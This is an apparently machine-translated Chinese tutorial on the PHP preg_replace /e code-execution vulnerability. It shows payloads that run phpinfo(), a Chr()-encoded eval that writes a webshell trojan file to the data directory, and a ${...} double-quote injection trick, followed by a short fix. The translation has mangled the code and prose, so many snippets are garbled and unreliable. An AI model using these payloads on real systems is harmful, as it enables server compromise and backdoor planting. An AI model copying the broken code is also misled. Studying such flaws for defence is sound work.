preg_replace函数原型:

混合preg_replace(混合模式,混合置换,混合主体{,} int限制)

特别说明:
/ E修饰符使preg_replace()使用替代参数作为PHP代码(在适当的反向引用代替)。提示:确保置换构成一个合法的PHP代码字符串,否则PHP会出现语法分析错误报告行包含preg_replace()。
举一个例子:uff1a

复制代码代码如下所示:
< PHP
preg_replace( / /(} * >)
1.strtoupper( 3 2)。
html_body美元);
>


这将将输入字符串中的所有HTML标记转换为大写。

安全威胁分析:
通常主题参数由客户机生成,客户机可以构造恶意代码,如:

复制代码代码如下所示:
<
回声preg_replace( / / 测试
>


如果我们提交H = phpinfo(),phpinfo()将被执行(使用 / E的改性剂,preg_replace将PHP代码执行的替代参数)。
如果我们提交以下代码呢
H = eval(CHR(102),Chr(112),Chr(117),Chr(116),Chr(115),Chr(40),Chr(102),Chr(111),Chr(112),Chr(101),Chr(110),Chr(40))。
CHR(116),Chr(97),Chr(47),Chr(97),Chr(46),Chr(112),Chr(104),Chr(112),Chr(39),Chr(44),Chr(39)Chr(119)。
CHR(63),Chr(112),Chr(104),Chr(112),Chr(32),Chr(101),Chr(118),Chr(97),Chr(108),Chr(40),Chr(36)Chr(95)。
CHR(99)(99),Chr(109)(109),Chr(100),Chr(93),Chr(41),Chr(63),Chr(62),Chr(39),Chr(41)Chr(59))。
对应的密文的明文是:作用是:将内容(fopen(数据/ A.php,W),);
执行的结果是生成一个句子一个木马文件A.php在 / /目录数据。

又一个困难的例子:

复制代码代码如下所示:
<
功能测试(STR)
{
}
回声preg_replace( / * { php }(1){或}的PHP /工程师、测试( 1 )
>


将H = { php } phpinfo()(){ } / PHP,phpinfo()被执行
当然不是。因为在正则匹配,替换参数becomes'test(phpinfo),与phpinfo仅视为一个字符串参数。
有没有一种方法可以实施


是的,当然,在这种情况下,如果我们提交H = { } { $ { PHP phpinfo()()} } { / php },phpinfo()将被执行。为什么
在PHP中,如果双引号内有一个变量,PHP解释器将把它替换为变量解释的结果;单引号中的变量将不被处理。
注意:双引号中的函数没有执行和替换。

这里我们需要{ $ { } }构造一个特殊的变量,测试({ $ { phpinfo()} }),允许将要执行的功能效应($ { phpinfo)}将解释(执行)。
可以完成以下测试:

复制代码代码如下所示:
回声({ } } $ { phpinfo);


Phpinfo将成功执行。

如何防范这样的漏洞
测试( )修改测试(1) 1